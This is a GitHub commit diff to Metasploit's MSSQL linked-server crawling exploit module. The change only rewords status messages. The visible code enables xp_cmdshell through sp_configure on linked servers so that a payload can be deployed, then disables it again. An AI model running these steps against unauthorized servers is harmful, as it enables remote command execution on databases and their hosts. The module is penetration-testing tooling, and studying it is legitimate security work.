Skip to content

Commit 53a2fda

Browse files
committed
Merge branch 'mssql_linkcrawler' of git://github.com/nullbind/metasploit-framework into nullbind-mssql_linkcrawler
2 parents cddda9e + 6782975 commit 53a2fda

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/windows/mssql/mssql_linkcrawler.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -396,7 +396,7 @@ def enable_xp_cmdshell(path,name,shelled)
396396
end
397397

398398
# Enabling xp_cmdshell
399-
print_status("\t - xp_cmdshell is not enabled on " + path.last + "... Trying to enable")
399+
print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
400400
execute = "sp_configure 'xp_cmdshell',1;reconfigure"
401401
sql = query_builder_rpc(path,"",0,execute)
402402
result = mssql_query(sql, false) if mssql_login_datastore
@@ -409,7 +409,7 @@ def enable_xp_cmdshell(path,name,shelled)
409409
xpcmdNow = result[:rows].pop.pop
410410

411411
if xpcmdNow == 1 or xpcmdOrig == 1
412-
print_status("\t - Enabled xp_cmdshell on " + path.last) if xpcmdOrig == 0
412+
print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
413413
if datastore['DEPLOY']
414414
print_status("Ready to deploy a payload #{name}")
415415
if datastore['DEPLOYLIST']==""
@@ -436,12 +436,12 @@ def enable_xp_cmdshell(path,name,shelled)
436436
end
437437
end
438438
else
439-
print_error("\t - Unable to enable xp_cmdshell on " + path.last)
439+
print_error("\t - Unable to enable xp_cmdshell on " + name)
440440
end
441441

442442
# Revert soa and xp_cmdshell to original state
443443
if xpcmdOrig == 0 and xpcmdNow == 1
444-
print_status("\t - Disabling xp_cmdshell on " + path.last)
444+
print_status("\t - Disabling xp_cmdshell on " + name)
445445
execute = "sp_configure 'xp_cmdshell',0;reconfigure"
446446
sql = query_builder_rpc(path,"",0,execute)
447447
result = mssql_query(sql, false) if mssql_login_datastore

0 commit comments

Comments
 (0)